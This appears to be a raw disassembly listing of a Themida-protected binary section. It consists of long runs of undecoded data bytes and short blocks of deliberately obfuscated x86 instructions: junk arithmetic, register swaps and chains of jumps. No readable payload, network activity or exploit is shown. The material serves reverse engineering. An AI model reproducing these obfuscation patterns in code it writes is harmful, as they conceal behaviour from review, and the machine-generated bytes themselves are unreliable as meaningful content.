dd 100003Ah, 2BA52E8h, 0C1647447h, 814203EAh, 61196DC2h
dd 0E9D2F731h, 8F50h, 4EC81h, 1C890000h, 80BBB324h, 0B45001C3h
dd 3EF4803Fh, 0E958E300h, 7E64h, 66DF8966h, 3C8BFD89h
dd 4C48324h, 12E1E9h, 81E78900h, 4ECh, 240C8900h, 4B9h
dd 59CF0100h, 5704C783h, 42474FFh, 24048F5Fh, 0E930FF5Ch
dd 0FFFFF80Ah, 31C2E955h, 0FF5C0000h, 48B2434h, 4C48324h
dd 0B711E9h, 0EB805B00h, 80E32852h, 8B6652C3h, 0C4812404h
dd 2, 9EB45053h, 9FE6E9h
db 0
; ---------------------------------------------------------------------------
loc_544DB1: ; CODE XREF: Themida_:0054488Bj
push 70C5h
mov [esp], ebx
mov ebx, 64477D02h
jmp loc_546143
; ---------------------------------------------------------------------------
db 80h
dd 0C480F8E9h, 66CC28B2h, 28B2B652h, 71BBE9F4h, 0A5BE0000h
dd 3144CCA7h, 0B309E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544DE2: ; CODE XREF: Themida_:005473EEj
xor ecx, esi
xor esi, ecx
xor ecx, esi
inc esi
xor ecx, esi
xor esi, ecx
jmp loc_546D18
; ---------------------------------------------------------------------------
aS_6 db '!жИ[>',0
dd 0C3316600h, 9CC1E9h, 0E0D15F00h, 2972E9h, 0E9596600h
dd 31FFh
; ---------------------------------------------------------------------------
loc_544E10: ; CODE XREF: Themida_:0055045Cj
push ebp
push dword ptr [esp+4]
jmp loc_547270
; ---------------------------------------------------------------------------
dw 405h
dd 83000000h, 2C8904ECh, 1089BD24h, 0BB534861h, 1DBE1FD3h
dd 2AFEE9h, 88E95400h, 520000ACh, 4DFDE951h, 6C810000h
dd 1AF70424h, 742970BBh, 44810424h, 1AF70424h, 0E95E70BBh
dd 7AF3h, 6906E95Ch, 5F680000h, 89000014h, 7CE92434h, 8900000Ch
dd 4C581E5h, 0E9000000h, 4A3Bh, 51E08950h, 5421B1B9h, 7E1C160h
dd 0E1C1D9F7h, 59C98104h, 8158286Bh, 5A3E97E1h, 1D02E94Ah
dd 0E2890000h, 4C281h, 0B8500000h, 5FEB3CBAh, 3D30C505h
dd 6D7B3527h, 0C2298728h, 24148758h, 2414895Ch, 0F7BFE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544EC6: ; CODE XREF: Themida_:0054AE79j
xchg ebp, [esp]
pop esp
add esp, 4
push edx
push esp
pop edx
jmp loc_54D77D
; ---------------------------------------------------------------------------
aFrL db 'fR╤╚',0
dw 66F1h
dd 337E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544EE2: ; CODE XREF: Themida_:0054D168j
jz loc_545C5C
push 0A3Ah
mov [esp], ebx
push eax
push 7EC81B5Fh
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
not eax
xor eax, 8137E4BCh
push edi
mov edi, eax
mov ebx, edi
pop edi
pop eax
jmp loc_549699
; ---------------------------------------------------------------------------
db 5
dd 7D3646E3h, 83240C8Bh, 0FF5004C4h, 8B042474h, 59E92404h
dd 810000A4h, 921BB2C3h, 3821E91Fh, 5B540000h
db 81h, 0C3h
word_544F42 dw 4 ; DATA XREF: ___:off_435718o
dd 0EB830000h, 7283E904h, 8B660000h, 0E68240Ch, 89000033h
dd 4A68241Ch, 89000021h, 0E389241Ch, 4C381h, 0EB810000h
dd 4, 5C241C87h, 7F7C68h, 24248900h, 8E71E9h, 4EAC100h
dd 0FD6FE957h, 0C330FFFFh, 1370E952h, 3C890000h, 212BBF24h
dd 0C7813CEFh, 0FFFFFFFFh, 0EFD1D7F7h, 57E96855h, 3C890000h
dd 7648BF24h, 0F7812D59h, 6972473Bh, 561AE781h, 0EF81001Fh
dd 7BCB3FCCh, 0EFC1DFF7h, 0D7EF8104h, 5741AB46h, 83242C8Bh
dd 0E95F04C4h, 7E1Eh, 99E9E389h, 58FFFFFEh, 1F57E9h, 52595400h
dd 0B15DE9h
db 0
; ---------------------------------------------------------------------------
loc_544FF1: ; CODE XREF: Themida_:0054FA3Cj
add ebp, 4
jmp loc_54E4D2
; ---------------------------------------------------------------------------
dd 0B9240C89h, 0BC7FD30Ch, 559CE01h, 162C5DE6h, 0E62DF001h
dd 5E162C5Dh, 5004C083h, 42474FFh, 462CE9h, 7E95200h, 0E9000028h
dd 0FFFFF55Eh, 0C381E389h, 4, 4D0BE9h, 240C3300h, 4EC835Ch
dd 89240489h, 405E0h, 0BA520000h, 4, 875AD029h, 895C2404h
dd 70682414h, 8B39DC08h, 89532414h, 4C381E3h, 83000000h
dd 1C8704C3h, 0DE95C24h, 5B00004Fh, 8B2434FFh, 0C4812404h
dd 4, 0E904C483h, 7AFBh, 0E940478Fh, 0FFFFF4F6h, 0C103E5C1h
dd 0D5F706E5h, 0E906EDC1h, 542Fh
; ---------------------------------------------------------------------------
loc_5450A4: ; CODE XREF: Themida_:0054AA63j
pop ecx
shl ebp, 4
neg ebp
not ebp
shr ebp, 7
xor ebp, 10487A90h
sub esp, 4
mov [esp], ebx
jmp loc_548B36
; ---------------------------------------------------------------------------
dd 4C781h, 3C330000h, 243C3124h, 5C243C33h, 5451F1F7h
dd 0E9240C8Bh, 4A9Dh
; ---------------------------------------------------------------------------
loc_5450DC: ; CODE XREF: Themida_:0054B1CDj
push esi
mov esi, 703564C2h
inc esi
neg esi
jmp loc_54F7CE
; ---------------------------------------------------------------------------
dw 6853h
dd 1A0C78AFh, 57C3815Bh, 89E9419Dh, 0CD815BDDh, 4DEA50E4h
dd 5AACF581h, 0D5F74D48h, 0F3B1F581h, 2EE9FD59h, 1000089h
dd 214305E8h, 335D7092h, 4312404h, 24043324h, 9CC1385Ch
dd 0FFF45DE9h, 243489FFh, 168h, 2434FF00h, 0FF2434FFh
dd 835E2434h, 0CBE904C4h, 8B000054h, 0C483240Ch, 97F9E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545152: ; CODE XREF: Themida_:00548F9Dj
mov edx, [esp]
jmp loc_54948D
; ---------------------------------------------------------------------------
dw 0EE81h
dd 4994B12Eh, 3D2E9605h, 7CD2E96Dh, 77FF0000h, 58669D1Ch
dd 9C240418h, 0A79AE9h, 0D831AD00h, 8904EC83h, 6853243Ch
dd 3B517272h, 9D99E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54518E: ; CODE XREF: Themida_:0054F8A1j
inc eax
xor eax, 104C02E2h
xor esi, eax
pop eax
and esi, 310F162Bh
not esi
jmp loc_548A50
; ---------------------------------------------------------------------------
dd 2C381h, 1C870000h, 0F665C24h, 9C2404B3h, 0FFF3D1E9h
dd 4EC81FFh, 89000000h, 4368241Ch, 0E904D74Bh, 4B87h
; ---------------------------------------------------------------------------
loc_5451CC: ; CODE XREF: Themida_:0054BF8Cj
mov ecx, [ebx]
pop ebx
jmp loc_54940F
; ---------------------------------------------------------------------------
dd 205h, 74E95300h, 0FF00001Eh, 58042474h, 5C24048Fh, 6E53E955h
dd 15F0000h, 0B477E9F1h, 248B0000h, 24040024h, 0F388E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545202: ; CODE XREF: Themida_:00548DC8j
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5485B6
; ---------------------------------------------------------------------------
db 5Ah, 31h, 4Ch
dd 5E590424h, 9039E9h, 37C38000h, 0E8EB80h, 0E8C380CBh
dd 5937EB80h, 3D096856h, 64E902EEh, 89000014h, 9C502414h
dd 3151E9h, 242C8700h, 33E9E9h, 50E18900h, 44BE9h, 4C28100h
dd 0E9000000h, 1D4Dh, 6FBB535Bh, 8168281Eh, 59532BC7h
dd 81DF014Fh, 59532BEFh, 0FB295B4Fh, 5CEB815Fh, 0FF115A25h
dd 853AE933h, 0E6680000h, 0E9000003h, 0FFFFF374h, 808DCE80h
dd 9EE917EEh, 6600008Fh, 5224048Bh, 36AE68h, 24248900h
dd 4BF57h, 7C010000h, 5A5F0424h, 5D83BF57h, 0CF816CB5h
dd 84160D6h, 37A4EF81h, 16E9180Bh
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5452C3: ; CODE XREF: Themida_:0054F71Cj
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 2749h
mov [esp], edi
jmp loc_547EAF
; ---------------------------------------------------------------------------
dd 251EE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5452EA: ; CODE XREF: Themida_:0054A05Fj
xchg eax, [esp]
pop esp
jmp loc_546082
; ---------------------------------------------------------------------------
db 8Fh
dd 0BB532404h, 4, 4245C01h, 2434FF5Bh, 5670E95Bh, 7BE90000h
dd 80FFFFF2h, 0ED804EEDh, 28FB044Ah, 0E9FB2CE8h, 98FFh
dd 2C481h, 81660000h, 66451AEBh, 66BE6656h, 0F331664Bh
dd 73685E66h, 89000027h, 5E9243Ch, 68FFFFFAh, 102Eh, 3007E9h
dd 5AD30000h
dword_545350 dd 0E9F8EB80h, 21D2h, 582434FFh, 8904EC83h, 0E2892414h
; DATA XREF: ___:off_43CCB4o
dd 4260E9h, 5FF82900h, 8B240487h, 3C892424h, 38BD5524h
dd 8169B12Dh, 51A267F5h, 27D8E920h, 0C8310000h, 0E9240C8Bh
dd 1284h
; ---------------------------------------------------------------------------
loc_545390: ; CODE XREF: Themida_:0054D492j
mov [esp], esi
jmp loc_549AF0
; ---------------------------------------------------------------------------
loc_545398: ; CODE XREF: Themida_:0054E2F1j
xor edi, [esp]
xor [esp], edi
jmp loc_54E894
; ---------------------------------------------------------------------------
db 83h
dd 148704EAh, 24895C24h, 24048124h, 4, 4BA525Fh, 0E9000000h
dd 80D7h, 8924248Bh, 0E389241Ch, 6937E950h, 0DE880000h
dd 0F388D6F6h, 0B6525A66h, 8BF30042h, 0C4812414h, 4, 34FFD830h
dd 241C8B24h, 4C481h, 0C4830000h, 0B7535204h, 0E951665Fh
dd 5774h
; ---------------------------------------------------------------------------
loc_545400: ; CODE XREF: Themida_:0054EA7Bj
add edx, 7E241B3Dh
sub edx, 216F5341h
xor edx, 0E8937CA4h
xor ebx, edx
mov edx, [esp]
add esp, 4
and eax, ebx
pop ebx
or eax, eax
jz loc_544921
push ebx
push ebp
mov ebp, 4B1E5BD1h
neg ebp
xor ebp, 3A9B0857h
neg ebp
push 5BB2h
mov [esp], esi
jmp loc_54B075
; ---------------------------------------------------------------------------
loc_545446: ; CODE XREF: Themida_:00545810j
pop dword ptr [esp]
not eax
xchg eax, [esp]
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 7CE82EB6h
push edi
mov edi, 7CE82EB2h
xor edx, edi
pop edi
add eax, edx
pop edx
xor eax, [esp]
jmp loc_55033F
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 5EF38904h, 11BE9h, 79BF5700h, 0E952A16Ah
dd 7C61h, 35E268h, 242C8900h, 9D6F93BDh, 8E5C17Ch, 0F8F58145h
dd 1D22E31h, 242C8BEAh, 0E904C483h, 6662h, 24248B66h, 0FFF0D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5454B9: ; CODE XREF: Themida_:0054809Fj
sub esi, ebx
pop ebx
shl esi, 5
neg esi
push ebx
mov ebx, 3116654Eh
or ebx, 118070ABh
push eax
jmp loc_54DDE3
; ---------------------------------------------------------------------------
db 68h
dd 1505h, 0BB241C89h, 45137BDAh, 0CB81D3F7h, 1D4E7291h
dd 4B06E3C1h, 8106EBC1h, 6E3D80EBh, 20EE9D6h, 0CF010000h
dd 0E9240C8Bh, 4445h, 34FFDE01h, 0C4835B24h, 2C68304h
dd 7537E956h, 0C1880000h, 8BCB0058h, 0C481240Ch, 4, 231E9h
db 0
; ---------------------------------------------------------------------------
loc_545529: ; CODE XREF: Themida_:0054CEDBj
or edx, 1ADB180Dh
jmp loc_548E8D
; ---------------------------------------------------------------------------
aAZsqd db '─цZИq└',0
align 4
aW_4tlos db 'W©.4tLOИ╧,',0
align 4
dd 0A205D801h, 5B17A522h, 740468h, 243C8900h, 4C70BE56h
dd 0F68122D9h, 71F6F0Bh, 6B8BF681h, 0CE815E2Eh, 108E0C19h
dd 7FFE9h, 242C8100h, 5E9D7699h, 60C9E9h, 55E95700h, 8900009Dh
dd 5BE9241Ch, 8B00001Bh, 86E92404h, 0E900001Eh, 0FFFFEFEEh
dd 875BDF01h, 95C243Ch, 0C7840FC9h, 83000098h, 0BEE904ECh
dd 8100005Dh, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 52AEh
dd 0FF2434FFh, 3C8B2434h, 0E6895624h, 4C681h, 0C6830000h
dd 24348704h, 4C4815Ch, 0E9000000h, 87A1h, 591168h, 243C8900h
dd 631AE9h, 4EC8300h, 54243C89h, 4C7815Fh, 83000000h, 0AD6804C7h
dd 8900006Dh, 74FF243Ch, 8F5F0424h, 248B2404h, 55AEE924h
dd 0EB810000h, 1, 68D3F7h, 29000000h, 815B241Ch, 0AD55DAF3h
dd 0EBC14310h, 0BEC38103h, 0E9732F58h, 0FFFFF69Eh
; ---------------------------------------------------------------------------
loc_545648: ; CODE XREF: Themida_:00544884j
shr edx, 1
cmp eax, edx
jz loc_54A49D
push ebp
push 4992h
mov [esp], edi
mov edi, 5C98681Ch
push edx
mov edx, 2BF65996h
mov ebp, 69CE35BCh
xor ebp, edx
pop edx
jmp loc_547ED8
; ---------------------------------------------------------------------------
dd offset dword_56C180
aSol db 'яИol',0
dd 24048F00h, 6624248Bh, 0E924148Bh, 32D3h, 0FFEEF9E9h
dd 0E9E389FFh, 570Eh, 2EA1BA52h, 0D0895647h, 6E8C15Ah
dd 0C106E8C1h, 54802E0h, 0FFEA6E3Dh, 5897E981h, 0C1017BC2h
dd 496CE9h, 4EC8100h, 89000000h, 74FF242Ch, 8DE90424h
dd 53000091h, 5C26ADBBh, 661FE947h, 0CAB00000h, 6B28E9h
dd 22CA6800h, 2C890000h, 1CCEBD24h, 0BB53326Dh, 3AB51B2Dh
dd 0E95BDD21h, 7A21h, 5D4BE2BDh, 0E9EB8948h, 4A70h, 815BDE29h
dd 0E614A0C3h, 81F3010Dh, 0E614A0EBh, 24348B0Dh, 4C481h
dd 0BD550000h, 2AF67232h, 2C8BEB01h, 4C48324h, 1CE9EB81h
dd 0C3012EDDh, 0A60E9h, 0E9F80100h, 0A310h, 0C181E189h
dd 4, 4C181h, 0C870000h, 0C97E924h, 0C3280000h, 56A7E9h
db 0
; ---------------------------------------------------------------------------
loc_545761: ; CODE XREF: Themida_:005468FAj
mov ebp, 54723C34h
xor ebp, 2B8E5910h
push edx
mov edx, 5D6F2A97h
sub edx, 13B2092Dh
neg edx
and edx, 47DB7602h
neg edx
add edx, 670495FBh
xor ebp, edx
pop edx
xor ebp, 1F3E5A5Dh
jmp loc_5475BF
; ---------------------------------------------------------------------------
dw 8159h
dd 0FE7830EAh, 556E92Bh, 0E3E90000h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5457A7: ; CODE XREF: Themida_:0054A7D3j
mov [esp], ebx
push edi
push 2E78h
mov [esp], ecx
push 2BEEh
mov [esp], esi
jmp loc_5469B1
; ---------------------------------------------------------------------------
dd 0FFEDC5E9h, 46E951FFh
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5457CB: ; CODE XREF: Themida_:00545C81j
mov edi, [esp]
add esp, 4
jmp loc_548728
; ---------------------------------------------------------------------------
aS_7 db '\Ищ+',0
dw 8000h
dd 6DE9FDC5h, 0FF0000A5h, 10E92434h, 520000AEh, 0FFF6A9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5457F5: ; CODE XREF: Themida_:0054D8C9j
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push eax
push dword ptr [esp+4]
pop eax
jmp loc_545446
; ---------------------------------------------------------------------------
db 5Eh, 33h, 1Ch
dd 241C3124h, 2504E9h
db 0
; ---------------------------------------------------------------------------
loc_545821: ; CODE XREF: Themida_:0054AA3Aj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_547D35
; ---------------------------------------------------------------------------
loc_54583D: ; CODE XREF: Themida_:005481CEj
dec ecx
sub ecx, 840A8005h
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
sub esp, 4
jmp loc_5467A6
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 3C066800h, 34890000h, 4BE24h, 0F3010000h, 241C335Eh
dd 33241C31h, 835C241Ch, 0BD5504C4h, 76280CCBh, 4244481h
dd 55702663h, 4246C81h, 10644484h, 4244481h, 7F69031Dh
dd 4246C29h, 31DB850h, 4DE97F69h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5458A3: ; CODE XREF: Themida_:0054FF12j
push esp
pop edx
add edx, 4
sub edx, 4
jmp loc_54E3EB
; ---------------------------------------------------------------------------
db 5Eh
dd 8704C483h, 248B243Ch, 0CFF6624h, 0C3E99C24h, 0F6FFFFECh
dd 0AB450D2h, 8058E200h, 76E9D0EAh, 87FFFFFAh, 56E9241Ch
dd 0E9000011h, 0FFFFECA6h, 0CCD4BF57h, 0F901265Fh, 59CB895Fh
dd 0F8CB814Bh, 55789E72h, 6F646852h, 815A0457h, 803104EAh
dd 64CEE945h, 0F5BD0000h, 0E959AE21h, 688Eh
; ---------------------------------------------------------------------------
loc_545914: ; CODE XREF: Themida_:0054D7A9j
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
pop esp
sub ebx, 4
push ebx
jmp loc_5446E3
; ---------------------------------------------------------------------------
dw 0FE58h
dd 68D6F6CEh, 65C5h, 50240C89h, 73B14CB0h, 802BC180h, 4AE915C1h
dd 3000005Bh, 0D80059CBh, 0A9E95B66h, 4000043h, 0D82859FDh
dd 0FFF4DEE9h, 25E9ACFFh, 66000050h, 0E924048Bh, 0A19Fh
dd 0A203ADB9h, 8BCD3134h, 23E9240Ch, 5D00008Ah, 211668h
dd 243C8900h, 6C1ACF68h, 2434FF4Dh, 9119E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545992: ; CODE XREF: Themida_:0054D254j
neg eax
jmp loc_547520
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 50000000h, 405E089h, 2D000000h, 4, 5C240487h, 53241489h
dd 52BEE9h, 0FFC82000h, 52592434h, 2A6DE9h, 0CBC68100h
dd 4E1DDB2Ah, 0A8E95246h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5459D3: ; CODE XREF: Themida_:0054F289j
add ecx, edx
pop edx
push eax
mov eax, 2
add ecx, eax
jmp loc_54C27C
; ---------------------------------------------------------------------------
db 31h
dd 14332414h, 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h
dd 0FFFFEB8Eh, 0E9F80166h, 0FFFFFBC4h, 5C240C87h, 0E9242C89h
dd 8DFCh
; ---------------------------------------------------------------------------
loc_545A10: ; CODE XREF: Themida_:00550462j
mov edx, 1A5D2233h
dec edx
inc edx
and edx, 6EEE26D5h
jmp loc_546E95
; ---------------------------------------------------------------------------
dw 2C89h
dd 63E95324h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545A2B: ; CODE XREF: Themida_:0054E673j
push ecx
jmp loc_54796B
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 57A7E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545A3A: ; CODE XREF: Themida_:0054C72Ej
pop ecx
mov eax, ebx
jmp loc_550119
; ---------------------------------------------------------------------------
loc_545A42: ; CODE XREF: Themida_:0054B09Dj
pop ecx
sub ebp, 4BF01D56h
sub ebp, 231D5248h
add ebp, 18D015C3h
jmp loc_54BCAB
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 56000000h, 4BEh, 12C38100h, 295D9E1Ch, 12EB81F3h
dd 5E5D9E1Ch, 0E9241C87h, 0FFFFF940h, 4EC835Ah, 0E9241489h
dd 3EE9h
; ---------------------------------------------------------------------------
loc_545A8C: ; CODE XREF: Themida_:0054BDCBj
sub eax, 4
jmp loc_549F05
; ---------------------------------------------------------------------------
dd 24048B66h, 5585450h, 4, 2F2EE9h
db 0
; ---------------------------------------------------------------------------
loc_545AA5: ; CODE XREF: Themida_:005488FEj
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_54D4D0
; ---------------------------------------------------------------------------
dd 1633E1BAh, 405BE92Bh, 0EC800000h, 32CC8020h, 0A0FAE9h
dd 8CE95500h, 81000091h, 4C4h, 21CE8100h, 5202F54Eh, 0F0D9E953h
dd 9FE9FFFFh, 0BEFFFFEAh, 40D4428Fh, 6F9D68h, 243C8900h
dd 46593DBFh, 5FFE315Fh, 15EF329h, 0F429E9C3h, 95DFFFFh
dd 0E94958C1h, 1B39h, 8704C583h, 0E95C242Ch, 50F3h
; ---------------------------------------------------------------------------
loc_545B20: ; CODE XREF: Themida_:005493CBj
mov al, 0C5h
not al
and al, 58h
sub al, 83h
push bx
mov bh, 0E4h
add al, bh
pop bx
xor al, 22h
sub cl, al
pop eax
add cl, 0Fh
not cl
not cl
xor cl, 2Ch
mov ah, cl
jmp loc_54D12B
; ---------------------------------------------------------------------------
dw 0E983h
dd 240C8704h, 8924248Bh, 46E92404h
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545B57: ; CODE XREF: Themida_:00547973j
and eax, edx
pop edx
shr eax, 0Bh
xor ecx, eax
push 17E9h
mov [esp], ebx
push dword ptr [esp]
pop eax
push 61FEh
mov [esp], eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
push ebx
mov ebx, 4
add eax, 408D5AF0h
add eax, 41B52427h
add eax, ebx
jmp loc_544731
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 504C483h, 4, 3302C083h, 4312404h, 5CF0E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545BAE: ; CODE XREF: Themida_:005475BAj
push 3407h
jmp loc_54CD80
; ---------------------------------------------------------------------------
dd 0CBE99C50h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545BBF: ; CODE XREF: Themida_:0055005Dj
add esp, 4
jmp loc_54F55A
; ---------------------------------------------------------------------------
db 0FFh
a4Shy db '4$ИHy',0
dw 5200h
dd 241165BAh, 7412E912h, 0C1810000h, 2004687h, 1AF3685Bh
dd 0C890000h, 2474FF24h, 48F5904h, 4895C24h, 4B824h, 0B8500000h
dd 50C52000h, 8244401h, 24440158h, 246C8104h, 0C5200004h
dd 30E95850h, 0BE000073h, 53E74690h, 0FFF221E9h, 32B353FFh
dd 525BDE88h, 0E939B450h, 5876h, 492C22B7h, 20AFE9h
db 0
; ---------------------------------------------------------------------------
loc_545C39: ; CODE XREF: Themida_:0054ECBCj
pop ebp
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
push ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
loc_545C5C: ; CODE XREF: Themida_:loc_544EE2j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
sub esp, 4
mov [esp], edi
mov edi, ebx
mov edx, edi
jmp loc_5457CB
; ---------------------------------------------------------------------------
dw 0C483h
dd 0EC835804h, 24148904h, 8904EC83h, 0D568242Ch, 5D14F21Eh
dd 0FCB9C581h, 5A5553DFh, 56242C8Bh, 0C681E689h, 4, 0E904C683h
dd 6461h, 83585450h, 3C8904ECh, 4BF24h, 0E050000h, 1378506h
dd 6848E9F8h, 895C0000h, 0E389241Ch, 4EC8356h, 68243C89h
dd 2CAA25FFh, 1BE7815Fh, 4F2BA713h, 74DEF781h, 0E9572BD5h
dd 5624h, 5E41C381h, 0D3012E07h, 0EDE9E957h, 248BFFFFh
dd 6EAC124h, 194DF281h, 0EBE9531Ah, 29000068h, 3C875DEFh
dd 3C895C24h, 1D6824h, 8F540000h, 4832404h, 3C8B0424h
dd 4C48124h, 50000000h, 4B951h, 0D5E90000h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545D43: ; CODE XREF: Themida_:0054CEC9j
pop ebx
jmp loc_5464E7
; ---------------------------------------------------------------------------
db 21h, 0F0h, 0FFh
a4Vichaj db '4$^V┴ФhaJ',0
dw 8900h
dd 68532414h, 5AC626C3h, 3C2FE95Bh, 1C330000h, 241C3124h
dd 0E9241C33h, 88E1h, 38F3B951h, 0CE3178E9h, 79EBE9h
db 0
; ---------------------------------------------------------------------------
loc_545D81: ; CODE XREF: Themida_:00549580j
add esp, 4
push ecx
jmp loc_54DA6B
; ---------------------------------------------------------------------------
db 5Eh, 81h, 0C6h
dd 4, 0FFFA56E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545D99: ; CODE XREF: Themida_:0054628Cj
or eax, eax
jnz loc_546082
push 1
mov edx, [esp]
jmp loc_547633
; ---------------------------------------------------------------------------
dw 0C483h
dd 0ACB95104h, 0F70D3225h, 42F0E9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545DBE: ; CODE XREF: Themida_:00547648j
pop ebx
push 6670h
mov [esp], edi
push eax
jmp loc_54F222
; ---------------------------------------------------------------------------
db 66h, 68h, 0D0h
dd 6654661Dh, 8324048Fh, 896602ECh, 0EC81241Ch, 2, 0D30E9h
dd 4EC8100h, 0E9000000h, 0A34Ch
; ---------------------------------------------------------------------------
loc_545DF4: ; CODE XREF: Themida_:0054D54Aj
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5484B0
; ---------------------------------------------------------------------------
loc_545E05: ; CODE XREF: Themida_:0054CA67j
push dword ptr [esp]
mov edx, [esp]
jmp loc_54A464
; ---------------------------------------------------------------------------
db '\h╢|',0
align 2
dw 1C89h
dd 4EC8324h, 0BE243489h, 22D30ED8h, 27A768h, 5DDBE900h
dd 0C4810000h, 4, 51A2E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545E3A: ; CODE XREF: Themida_:00547F1Dj
mov ecx, [esp]
jmp loc_54E63F
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0FE48F381h, 0D8014ACBh, 4A91E95Bh, 81590000h, 2C7h
dd 243C8700h, 9CC8845Ch, 0FFE721E9h, 5E7C1FFh, 0E124F781h
dd 0DDE9FD27h, 0FF000065h, 0E9042474h, 0FFFFE897h, 24048B66h
dd 48B5450h, 4C48124h, 0E9000000h, 3D47h, 5104C483h, 4F89D989h
dd 1C8B5920h, 0E3895324h, 2F91BA52h, 0F2816C64h, 6C642F95h
dd 148BD301h, 4C48124h, 81000000h, 4C3h, 241C8700h, 473A685Ch
dd 6DE90000h
db 92h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545ECF: ; CODE XREF: Themida_:0054DDEDj
push esi
jmp loc_54FC1C
; ---------------------------------------------------------------------------
db 68h, 0F9h, 45h
dd 4A5A04F0h, 711EE9h, 9AE94A00h, 83FFFFF0h, 1C8904ECh
dd 4EC8324h, 0E9241489h, 47BAh, 4EC81h, 4890000h, 3DC9E924h
dd 0C2810000h, 0DA55332h, 0CEAC281h, 3FE929CDh
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545F17: ; CODE XREF: Themida_:005496E1j
shr eax, 10h
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
xor ebx, ebp
xor ebp, ebx
xor ebx, ebp
xor ebp, edx
xor edx, ebp
xor ebp, edx
not edx
jmp loc_54B384
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0C2815A54h, 4, 5204C283h, 73F6E9h
db 0
; ---------------------------------------------------------------------------
loc_545F49: ; CODE XREF: Themida_:00548A57j
mov eax, 14A10040h
add esi, eax
pop eax
sub eax, esi
mov esi, [esp]
add esp, 4
add eax, 518C0A99h
shr eax, 2
jmp loc_547918
; ---------------------------------------------------------------------------
db 0ACh, 68h, 89h
dd 89000014h, 0E953240Ch, 2FBh, 0EC835A66h, 19A7E904h
dd 0EC830000h, 240C8904h, 6C685552h, 5D46A30Ch, 0C106EDC1h
dd 0C58102E5h, 539FE4B7h, 0F75DEA89h, 68DAF7DAh, 3FDCh
dd 68240489h, 580A1577h, 58C22958h, 75FCE9h, 7BAE6800h
dd 0C890000h, 0E991B124h, 0FFFFEDFBh, 0C7FE59B7h, 0F697EF80h
dd 4EFC0DFh, 8005E7C0h, 0FC8830F7h, 0FFEDB4E9h, 66645CFFh
dd 9FE90289h, 8BFFFFE5h, 0B9E9240Ch, 80000057h, 0C580AECDh
dd 59EB2867h, 52FAEB80h, 0C380F2B2h, 0E9D32856h, 8D7Ah
dd 0FEB8h, 1C472100h, 5812E9h, 0D4685900h, 8900003Fh, 2BE2434h
dd 81000000h, 0E47988C3h, 52F30164h, 7922E5BAh, 3EC0E92Eh
dd 665B0000h, 583BC581h, 66DDF766h, 66526645h, 664F37BAh
dd 5A66D529h, 3E5C166h, 3BC58166h, 0BD665551h, 0F7667BFAh
dd 664D66DDh, 6B4BED81h, 5DE80166h, 5E6EE9h, 88505900h
dd 0E68852D4h, 88F08850h, 0EF61E9C7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546082: ; CODE XREF: Themida_:005452EEj
; Themida_:00545D9Bj ...
sub esp, 4
jmp loc_54E6DA
; ---------------------------------------------------------------------------
aH3 db ',ж(ьh*3',0
dw 8900h
dd 2CE9240Ch, 8100003Ch, 4C4h, 0E0685F00h, 89000010h, 2EBB241Ch
dd 0E9562B47h, 0FFFFF56Eh, 5C240C87h, 581EB951h, 0D9F765C8h
